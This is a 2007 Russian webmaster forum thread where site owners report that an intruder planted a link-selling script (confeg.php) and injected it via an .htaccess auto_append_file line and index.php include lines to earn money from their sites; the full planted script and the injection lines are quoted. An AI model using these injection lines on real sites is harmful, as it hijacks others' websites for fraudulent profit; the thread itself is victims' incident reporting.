Старый 16.11.2007, 02:26   #1
Новичок
 
Регистрация: 16.11.2007
Сообщений: 4
Вес репутации: 0
Devider на пути к лучшему
По умолчанию Как наказать мошенника

Мошенник получил доступ к моему сайту, и зарабатывает на моем сайте деньги, пользуясь Вашей системой.


в .htaccess дописал

php_value auto_append_file "templates/order/confeg.php"

В коде нашел прикрепляемого файла нашел

PHP код:
// Чтобы не повесить площадку клиента и чтобы не было одновременных запросов
            
@touch($this->_links_db_file, (time() - $this->_cache_lifetime $this->_cache_reloadtime));
            
$path '/code.php?user=3649bf00e385a718f7e5a8a09ba0a523&host=' $this->_host

Индендификатор пользователя: 3649bf00e385a718f7e5a8a09ba0a523

В инете ничего похожего не нарыл, видимо я в числе первых жертв подобного мошенничества. Если бы мошенник оказался хитрее и хотя бы спрятал ссылки стилями, я бы нескоро его вычислил, так как редко заглядываю в .htaccess .
Devider вне форума   Ответить с цитированием
Старый 16.11.2007, 02:30   #2
Новичок
 
Регистрация: 16.11.2007
Сообщений: 4
Вес репутации: 0
Devider на пути к лучшему
По умолчанию

Я не работал с вашей системой, у Вас наверняка можно посмотреть с какими еще сайтами "работает" мошенник и предупредить владельцев сайта.
Devider вне форума   Ответить с цитированием
Старый 16.11.2007, 06:19   #3
Модератор
 
Аватар для Евген
 
Регистрация: 07.06.2007
Сообщений: 3,491
Вес репутации: 314
Евген - прекрасное будущееЕвген - прекрасное будущееЕвген - прекрасное будущееЕвген - прекрасное будущееЕвген - прекрасное будущееЕвген - прекрасное будущееЕвген - прекрасное будущееЕвген - прекрасное будущееЕвген - прекрасное будущееЕвген - прекрасное будущееЕвген - прекрасное будущее
По умолчанию

информация скинута куда надо.
__________________
прежде чем спросить - ФАК, ЧаВо, RTFM (кто не прочитал-бан)
Секреты успешной работы вебмастеров в Sape - Бестселлер года!
Расширяем возможности SAPE: дополнение к Firefox - без него, как без рук.
Евген вне форума   Ответить с цитированием
Старый 16.11.2007, 09:24   #4
Эксперт
 
Аватар для Massacre
 
Регистрация: 04.05.2007
Адрес: Kiev, UA
Сообщений: 3,649
Вес репутации: 312
Massacre - прекрасное будущееMassacre - прекрасное будущееMassacre - прекрасное будущееMassacre - прекрасное будущееMassacre - прекрасное будущееMassacre - прекрасное будущееMassacre - прекрасное будущееMassacre - прекрасное будущееMassacre - прекрасное будущееMassacre - прекрасное будущееMassacre - прекрасное будущее
Отправить сообщение для Massacre с помощью ICQ
По умолчанию

скорее всего у вас вирус и сохраненные пароли в файлменеджере
__________________
NEON2 NCC системный интегратор. Установка кода SAPE (от $10), бесплатные консультации клиентам (рефералам).
Аттестат продавца.
Massacre вне форума   Ответить с цитированием
Старый 16.11.2007, 11:05   #5
Мастер
 
Регистрация: 08.11.2007
Сообщений: 598
Вес репутации: 212
Kent скоро станет известенKent скоро станет известен
По умолчанию

Devider templates/order/confeg.php а вы бы могли выложить весь файл или в личку прислать посмотреть..
Kent вне форума   Ответить с цитированием
Старый 16.11.2007, 13:06   #6
Новичок
 
Регистрация: 16.11.2007
Сообщений: 4
Вес репутации: 0
Devider на пути к лучшему
По умолчанию

Аккуратненько так, с комментариями.

PHP код:
class SAPE_client {
    var 
$_version           '0.6';
    var 
$_verbose           false;
    var 
$_charset           '';               // http://www.php.net/manual/en/function.iconv.php
    
var $_cache_lifetime    3600;             // Пожалейте наш сервер :о)
    // Если скачать базу ссылок не удалось, то следующая попытка будет через столько секунд
    
var $_cache_reloadtime  600;
    var 
$_links_db_file     '';
    var 
$_links             = array();
    var 
$_links_page        = array();
    var 
$_links_delimiter   '';
    var 
$_error             '';
    var 
$_host              '';
    var 
$_request_uri       '';
    var 
$_multi_site        false;
    var 
$_fetch_remote_type 'file_get_contents';              // Способ подключения к удалённому серверу [file_get_contents|curl|socket]
    
var $_socket_timeout    6;               // Сколько ждать ответа
    
function SAPE_client($options null) {
        
// Поехали :o)
        
$host '';
        if (
is_array($options)) {
            if (isset(
$options['host'])) {
                
$host $options['host'];
            }
        } elseif (
strlen($options)) {
            
$host $options;
            
$options = array();
        } else {
            
$options = array();
        }
        
// Какой сайт?
        
if (strlen($host)) {
            
$this->_host $host;
        } else {
            
$this->_host $_SERVER['HTTP_HOST'];
        }
        
$this->_host preg_replace('/^http:\/\//'''$this->_host);
        
$this->_host preg_replace('/^www\./'''$this->_host);
        
// Какая страница?
        
if (isset($options['request_uri']) && strlen($options['request_uri'])) {
            
$this->_request_uri $options['request_uri'];
        } else {
            
$this->_request_uri $_SERVER['REQUEST_URI'];
        }
        
// На случай, если хочется много сайтов в одной папке
        
if (isset($options['multi_site']) && $options['multi_site'] == true) {
            
$this->_multi_site true;
        }
        
// Сообщать об ошибках
        
if (isset($options['verbose']) && $options['verbose'] == true) {
            
$this->_verbose true;
        }
        
// Кодировка
        
if (isset($options['charset']) && strlen($options['charset'])) {
            
$this->_charset $options['charset'];
        }
        if (isset(
$options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) {
            
$this->_fetch_remote_type $options['fetch_remote_type'];
        }
        if (isset(
$options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) {
            
$this->_socket_timeout $options['socket_timeout'];
        }
        
$this->load_links();
    }
    function 
load_links() {
        
// Для сайтов, которые лежат в одной папке
        
if ($this->_multi_site) {
            
$this->_links_db_file dirname(__FILE__) . '/' $this->_host '.links.db';
        } else {
            
$this->_links_db_file dirname(__FILE__) . '/links.db';
        }
        if (!
is_file($this->_links_db_file)) {
            
// Пытаемся создать файл.
            
if (@touch($this->_links_db_file)) {
                @
chmod($this->_links_db_file0666);    // Права доступа
            
} else {
                return 
$this->raise_error('Нет файла ' $this->_links_db_file '. Создать не удалось. Выставите права 777 на папку.');
            }
        } 
        if (!
is_writable($this->_links_db_file)) {
            return 
$this->raise_error('Нет доступа на запись к файлу: ' $this->_links_db_file '! Выставите права 777 на папку.');
        }
        @
clearstatcache();
        if (
filemtime($this->_links_db_file) < (time()-$this->_cache_lifetime) || filesize($this->_links_db_file) == 0) {
            
// Чтобы не повесить площадку клиента и чтобы не было одновременных запросов
            
@touch($this->_links_db_file, (time() - $this->_cache_lifetime $this->_cache_reloadtime));
            
$path '/code.php?user=3649bf00e385a718f7e5a8a09ba0a523&host=' $this->_host;
            if (
strlen($this->_charset)) {
                
$path .= '&charset=' $this->_charset;
            }
            if (
$links $this->fetch_remote_file('dispenser-01.sape.ru'$path)) {
                if (
substr($links012) == 'FATAL ERROR:') {
                    
$this->raise_error($links);
                } else {
                    
// [псевдо]проверка целостности:
                    
if (@unserialize($links) != false) {
                        
$this->_write($this->_links_db_file$links);
                    }
                }
            }
        }
        if (
$links $this->_read($this->_links_db_file)) {
            if (!
$this->_links = @unserialize($links)) {
                
$this->_links = array();
            }
        } else {
            
$this->_links = array();
        }
        
// Убиваем PHPSESSID
        
if (strlen(session_id())) {
            
$session session_name() . '=' session_id();
            
$this->_request_uri str_replace(array('?'.$session,'&'.$session), ''$this->_request_uri);
        }
        if (isset(
$this->_links['__sape_delimiter__'])) {
            
$this->_links_delimiter $this->_links['__sape_delimiter__'];
        }
        if (
array_key_exists($this->_request_uri$this->_links) && is_array($this->_links[$this->_request_uri])) {
            
$this->_links_page $this->_links[$this->_request_uri];
        } else {
            if (isset(
$this->_links['__sape_new_url__']) && strlen($this->_links['__sape_new_url__'])) {
                
$this->_links_page $this->_links['__sape_new_url__'];
            }
        }
    }
    
/*
     * Ccылки можно показывать по частям
     *
     */
    
function return_links($n null) {
        if (
is_array($this->_links_page)) {
            
$total_page_links count($this->_links_page);
            if (!
is_numeric($n) || $n $total_page_links) {
                
$n $total_page_links;
            }
            
$links = array();
            for (
$i 1$i <= $n$i++) {
                
$links[] = array_shift($this->_links_page);
            }
            
$html join($this->_links_delimiter$links);
            return 
$html;
        } else {
            return 
$this->_links_page;
        }
    }
    
/*
     * Функция для подключения к удалённому серверу
     */
    
function fetch_remote_file($host$path) {
        
$user_agent 'SAPE_Client PHP ' $this->_version;
        @
ini_set('allow_url_fopen',          1);
        @
ini_set('default_socket_timeout',   $this->_socket_timeout);
        @
ini_set('user_agent',               $user_agent);
        if (
            
$this->_fetch_remote_type == 'file_get_contents'
            
||
            (
                
$this->_fetch_remote_type == ''
                
&&
                
function_exists('file_get_contents')
                &&
                
ini_get('allow_url_fopen') == 1
            
)
        ) {
            if (
$data = @file_get_contents('http://' $host $path)) {
                return 
$data;
            }
        } elseif (
            
$this->_fetch_remote_type == 'curl' 
            
||
            (
                
$this->_fetch_remote_type == ''
                
&&
                
function_exists('curl_init')
            )
        ) {
            if (
$ch = @curl_init()) {
                @
curl_setopt($chCURLOPT_URL,              'http://' $host $path);
                @
curl_setopt($chCURLOPT_HEADER,           false);
                @
curl_setopt($chCURLOPT_RETURNTRANSFER,   true);
                @
curl_setopt($chCURLOPT_CONNECTTIMEOUT,   $this->_socket_timeout);
                @
curl_setopt($chCURLOPT_USERAGENT,        $user_agent);
                if (
$data = @curl_exec($ch)) {
                    return 
$data;
                }
                @
curl_close($ch);
            }
        } else {
            
$buff '';
            
$fp = @fsockopen('dispenser-01.sape.ru'80$errno$errstr$this->_socket_timeout);
            if (
$fp) {
                @
fputs($fp"GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
                @
fputs($fp"User-Agent: {$user_agent}\r\n\r\n");
                while (!@
feof($fp)) {
                    
$buff .= @fgets($fp128);
                }
                @
fclose($fp);
                
$page explode("\r\n\r\n"$buff);
                return 
$page[1];
            }
        }
        return 
$this->raise_error('Не могу подключиться к серверу: ' $host $path);
    }
    
/*
     * Функция чтения из локального файла
     */
    
function _read($filename) {
        
$fp = @fopen($filename'rb');
        @
flock($fpLOCK_SH);
        if (
$fp) {
            
clearstatcache();
            
$length = @filesize($filename);
            
$mqr get_magic_quotes_runtime();
            
set_magic_quotes_runtime(0);
            if (
$length) {
                
$data = @fread($fp$length);
            } else {
                
$data '';
            }
            
set_magic_quotes_runtime($mqr);
            @
flock($fpLOCK_UN);
            @
fclose($fp);
            return 
$data;
        }
        return 
$this->raise_error('Не могу считать данные из файла: ' $filename);  
    }
    
/*
     * Функция записи в локальный файл
     */
    
function _write($filename$data) {
        
$fp = @fopen($filename'wb');
        if (
$fp) {
            @
flock($fpLOCK_EX);
            
$length strlen($data);
            @
fwrite($fp$data$length);
            @
flock($fpLOCK_UN);
            @
fclose($fp);
            if (
md5($this->_read($filename)) != md5($data)) {
                return 
$this->raise_error('Нарушена целостность данных при записи в файл: ' $filename); 
            }
            return 
true;
        }
        return 
$this->raise_error('Не могу записать данные в файл: ' $filename); 
    }
    
/*
     * Функция обработки ошибок
     */
    
function raise_error($e) {
        
$this->_error '<p style="color: red; font-weight: bold;">SAPE ERROR: ' $e '</p>';
        if (
$this->_verbose == true) {
            print 
$this->_error;
        }
        return 
false;
    }
}
     
$sape = new SAPE_client();
     echo (
'<center style="font-size:10pt;font-family:Verdana">'.$sape->return_links().'</center>'); 
Devider вне форума   Ответить с цитированием
Старый 16.11.2007, 13:15   #7
Новичок
 
Аватар для Stutzer
 
Регистрация: 26.10.2007
Сообщений: 50
Вес репутации: 201
Stutzer на пути к лучшему
Отправить сообщение для Stutzer с помощью ICQ
По умолчанию

Такая же проблема была. обнаружил только тогда, когда сам решил добавить сайт в систему. К сожалению идентификатор сохранить забыл
Stutzer вне форума   Ответить с цитированием
Старый 16.11.2007, 13:25   #8
Новичок
 
Регистрация: 16.11.2007
Сообщений: 4
Вес репутации: 0
Devider на пути к лучшему
По умолчанию

Massacre, у аккаунта, на котором лежит этот сайт, есть еще хозяин. Лучше чтобы дорвеи лежали на разных серверах, а это накладно, вот я и кооперируюсь с разными людьми, в которых не до конца уверен. Вариант что мой человек подложил вирус маловероятен, но может быть затроянили его комп, или он пользуется левыми скриптами...

В последнее время просто эпидемия какая-то пошла, я не знаю ни одного вебмастера, чей бы сайт хоть раз бы не заразили, при этом не важно какая у него защита и где он хостится.

Неплохо бы было узнать к-н данные этого человека, хотя бы ящик почтовый.. мало ли кто из знакомых.
Devider вне форума   Ответить с цитированием
Старый 25.11.2007, 22:18   #9
Новичок
 
Регистрация: 25.11.2007
Сообщений: 1
Вес репутации: 0
pavelmalyshkin на пути к лучшему
Red face Сегодня то же самое

со мной сегодня то же самое. К сожалению, мало понимаю в этой теме, в том числе в php. Два вопроса:
1)я нашел два файла, confeg.php и измененный index. Что еще нужно проверить, чтобы удостовериться, что сайт не заражен?
2)confeg.php выглядит так же как у вас, кроме
$path = '/code.php?user=8dd98c496a2b0c1b50edecb1d3deffb4&hos t=' . $this->_host; может ли это помочь вычислить этого человека?
pavelmalyshkin вне форума   Ответить с цитированием
Старый 25.11.2007, 23:56   #10
Новичок
 
Аватар для eBamus
 
Регистрация: 04.05.2007
Сообщений: 83
Вес репутации: 0
eBamus не любят в этих краяхeBamus не любят в этих краяхeBamus не любят в этих краяхeBamus не любят в этих краяхeBamus не любят в этих краях
По умолчанию

И у меня сегодня таже проблема. Обнаружил когда зашел на свой сайт. Страницы выдавали Fatal error в файле confeg.php который точно не я создавал. В index.php дописали строку
<!-- ~ --><?php include_once($_SERVER['DOCUMENT_ROOT'].'/confeg.php');?><!-- ~ -->
А на другом сайте вообще убили весь index.php, все в нем стерли, одна лишь строчка была
<!-- ~ --><?php include_once($_SERVER['DOCUMENT_ROOT'].'/confeg.php');?><!-- ~ -->

В confeg.php тоже юзер
$path = '/code.php?user=8dd98c496a2b0c1b50edecb1d3deffb4&hos t=' . $this->_host;
eBamus вне форума   Ответить с цитированием
Ответ

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Кидалово работодателя - наказать или не стоит? MadGreen Курилка 71 23.05.2008 14:03
А как наказать того кто ворует контент? Vass Курилка 22 10.01.2008 18:22


Часовой пояс GMT +3, время: 10:27.